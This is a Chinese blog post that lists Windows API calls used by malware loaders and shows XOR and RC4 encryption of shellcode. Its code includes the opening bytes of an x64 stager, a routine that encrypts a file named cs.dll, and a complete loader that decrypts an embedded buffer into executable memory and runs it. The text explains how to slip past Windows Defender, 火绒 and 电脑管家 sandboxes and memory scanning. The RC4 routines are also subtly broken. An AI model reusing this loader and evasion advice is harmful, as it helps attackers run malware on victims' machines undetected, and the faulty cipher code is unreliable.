最近更新频率明显下降我懒,那么今天就来记录一下我们的一些常用的API的整理以及ShellCode的加密。
1.WinAPI整理
问我为什么要整理? 就是用起来的时候要左翻右翻
:: 烦死了
1.VirtualAlloc
VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
- 该API是LPVOID返回
- 其中的sizeof(buf)是你要申请的长度
- PAGE_EXECUTE_READWRITE这个是这块内存的属性,你可以申请一个不完整的(没那么容易被杀的,然后转换)
2.Memcpy
memcpy(p,buf,sizeof(buf));
- 其中p是目的地址
- buf是源地址
- sizeof(buf)是源地址的长度
3.CreateThread
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)buffer, NULL, NULL, NULL);
- 第一个参数是安全属性,传入NULL默认是安全
- 第二个是默认堆栈大小,NULL是默认大小
- 第三个是指向线程执行的函数指针(存在强转)
- 第四个是要传递给函数的参数,NULL默认没有
- 第五个是默认控制线程的创建方式,NULL表示没有
- 最后一个是线程ID,NULL默认不需要返回ID
- 返回值就是HANDLE
4.VirtualProtect
VirtualProtect(p, length, PAGE_EXECUTE_READWRITE, NULL);
- 其中p是指向内存空间的指针
- 第三个参数是内存的属性
5.WriteProcessMemory
WriteProcessMemory(OriginalProcessHandle, RemoteMemory, dllpath, length, NULL);
- 第一个参数是原来的进程句柄
- 第二个参数就指定目标进程中要写入数据的起始地址
- 然后第三个参数就是指向要写入目标进程的数据的缓冲区的指针
- 第四个就是写入的长度
6.WaitForSingleObject
WaitForSingleObject(handle, INFINITE)
- 第一个参数就是创建完进程的handle
- 第二个参数直接写INFINET或者-1就好了
7.GetProcAddress
GetProcAddress(HDMDODULE,L"FUNCNAME")
- 第一个参数就是获取到的dll的HMODULE
- 第二个参数就是你要找的函数名字
8.CreateFileW
CreateFileW(L"cs.dll", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
- 第一个参数就是你要打开或者新建的文件(这样写的话就是默认exe同文件夹下面有cs.dll)
- 第二个参数就是属性(一般不会用到ALL)
- 第六个参数就是你要选择OPEN_EXISTING还是ALWAYS_CREATE
9.GetFileSize
GetFileSize(hFile, NULL)
这个很明显就是获取长度,这个无需多言
10.HeapAlloc
在堆上分配可读可写内存(不可执行!!!)
HeapAlloc(GetProcessHeap, HEAP_ZERO_MEMORY, length)
11.ReadFile
将文件内容写到缓冲区中
ReadFile(hFile, FileBuffer, length, &RealLength, NULL);
- 第一个参数是刚才的文件的句柄
- 第二个是申请的内存指针
- 第三个是内存指针的长度
- 第四个是实际返回的长度(常用来判断读取到的文字)
2.ShellCode的加密
1.异或加密
这个就是可以说是ShellCode加密最简单的一集了,下面就来个最简单的加密代码
异或加密其实就是将每一个字符都和一个key或者说一个数异或,这就形成了密文。
#include<iostream>
#include<Windows.h>
using namespace std;void encrypt(unsigned char *p , DWORD length,DWORD key)
{for (int i = 0; i < length; i++){p[i] = p[i] ^ key;printf("%02x ", p[i]);}cout << endl;
}
void decrypt(unsigned char* p, DWORD length, DWORD key)
{for (int i = 0; i < length; i++){p[i] = p[i] ^ key;printf("%02x ", p[i]);}cout << endl;
}unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41";int main()
{encrypt(buf, sizeof(buf), 12345);decrypt(buf, sizeof(buf), 12345);return 0;
}
如果你想解密的话也很好办,直接再异或一次就好了(其实加密的代码完全可以再用一次)
当然了,你还可以搞难度大一点的,随机生成密钥,不过一般都不会这样操作,因为你随机生成密钥,总会有一方是无法操作的(或者说你把你的随机生成的加密密钥写到解密算法里面,不过这样感觉还不如直接传密钥)
2.RC4加密
这个加密还是用的比较多的,其实它的算法流程并没有变,变得只是我们的Key!!!
RC4的加解密需要经过两个流程
- RC4init
- RC4Cipher
我们一步一步来操作,先是RC4init
我们一般都会定义一个初始化的全局数组S 然后我们会对这个S有以下的操作
void RC4_init(unsigned char *p,unsigned char*key ,DWORD length)
{for (int i = 0; i < 256; i++){s[i] = i;}int j = 0, i ;for (i = 0; i < 256; i++){j = (j + p[i] + key[i]) % 256;char temp = p[i];p[i] = p[j];p[j] = temp;}
}
然后就是我们的RC4Cipher了,至于这两段代码为什么(我也布吉岛)
void RC4Cipher(unsigned char* p, char* file, unsigned char* key, DWORD length)
{int i = 0,j = 0;for (int k = 0; k< length; k++){i = (i + 1) % 256;j = (i + s[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;file[k] ^= s[(s[i] + s[j]) % 256];}
}
然后就是我们的完整代码了
#include<iostream>
#include<Windows.h>
using namespace std;unsigned char s[256] = { 0x29 ,0x23 ,0xBE ,0x84 ,0xE1 ,0x6C ,0xD6 ,0xAE ,0x00 };
unsigned char key[256] = { 0x61 ,0x64 ,0x6D ,0x69 ,0x6E ,0x00 };
void RC4_init(unsigned char* p, unsigned char* key, DWORD length)
{for (int i = 0; i < 256; i++){s[i] = i;}int j = 0, i;for (i = 0; i < 256; i++){j = (j + p[i] + key[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;}
}void RC4Cipher(unsigned char* p, unsigned char* file, unsigned char* key, DWORD length)
{int i = 0, j = 0;for (int k = 0; k < length; k++){i = (i + 1) % 256;j = (i + s[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;file[k] ^= s[(s[i] + s[j]) % 256];}
}void print(unsigned char* p, DWORD length)
{for (int i = 0; i < length; i++) {printf("%02x ", p[i]);}cout << endl;
}
int main()
{HANDLE hFile = CreateFileW(L"cs.dll", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);DWORD length = GetFileSize(hFile, NULL);unsigned char* FileBuffer = (unsigned char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, length);DWORD RealLength = 0;if (ReadFile(hFile, FileBuffer, length, &RealLength, NULL)){cout << "Read File Successfully" << endl;}RC4_init(s, key, sizeof(key));RC4Cipher(s, FileBuffer, key, sizeof(key));return 0;
}
我们也可以对一个shellcode加密并且解密上线看看效果,其实这里就是再执行这块内存之前,对他加了一次密(模仿提前加密好的ShellCode或者DLL),然后再对这块内存进行解密,并且执行
#include<iostream>
#include<Windows.h>
using namespace std;/* length: 891 bytes */
unsigned char buf[] = ""unsigned char s[256] = { 0x29 ,0x23 ,0xBE ,0x84 ,0xE1 ,0x6C ,0xD6 ,0xAE ,0x00 };
unsigned char key[256] = {0x61 ,0x64 ,0x6D ,0x69 ,0x6E ,0x00 };
void RC4_init(unsigned char* p, unsigned char* key, DWORD length)
{for (int i = 0; i < 256; i++){s[i] = i;}int j = 0, i;for (i = 0; i < 256; i++){j = (j + p[i] + key[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;}
}void RC4Cipher(unsigned char* p, unsigned char* file, unsigned char* key, DWORD length)
{int i = 0, j = 0;for (int k = 0; k < length; k++){i = (i + 1) % 256;j = (i + s[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;file[k] ^= s[(s[i] + s[j]) % 256];}
}int main()
{void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(p, buf, sizeof(buf));RC4_init(s, key, sizeof(key));RC4Cipher(s,(unsigned char * )p, key, sizeof(key));RC4_init(s, key, sizeof(key));RC4Cipher(s, (unsigned char*)p, key, sizeof(key));((void(*)())p)();return 0;
}
3.AES加密
这个目前是最好的一种shellcode加密方式,无论是对比起RC4(Defender会杀),UUDI,IPV4这些
AES是能过Defender的!!!!(就算你不分离的情况下,就算熵很大!!!)
这里我就不贴代码了,但是我能给屏幕截图,理由大家都懂(不想让他这么快被杀)
然后就是来展示一下它的效果(这个我都没做分离,熵值其实挺大的)
这也说明我们Windows Defender的查杀特点
- 沙箱,当你将一个文件放进虚拟机的时候,首先就去defender的沙箱跑,所以这个loader第一步就是抗沙箱(当然,这个和360的QVM比不了)
- 内存扫描,当你进行危险操作dump lsass,注入shellcode的时候,defender就会对这块内存进行扫描,如果你是恶意的shellcode就会查杀(当然,这个和卡巴斯基也比不了)
除了用server的defender测试,还用了实体(我同学)的环境,也是能用过的!!!!
火绒
电脑管家
当然了,还有像UUID,IPV4,IPV6这种的加密方式,但是都不如AES加密强大,当然你也可以用RSA,总之加密方法有很多,自行选择。
当然,解密的密钥是不推荐直接写在loader里面,可以分离一个xml,txt,这样的文件(这样也有天然抗沙箱的作用),因为对于强的EDR会关注你的一些函数,然后在去hook你的解密后的内存,如果不做unhook等其他操作,就会被杀!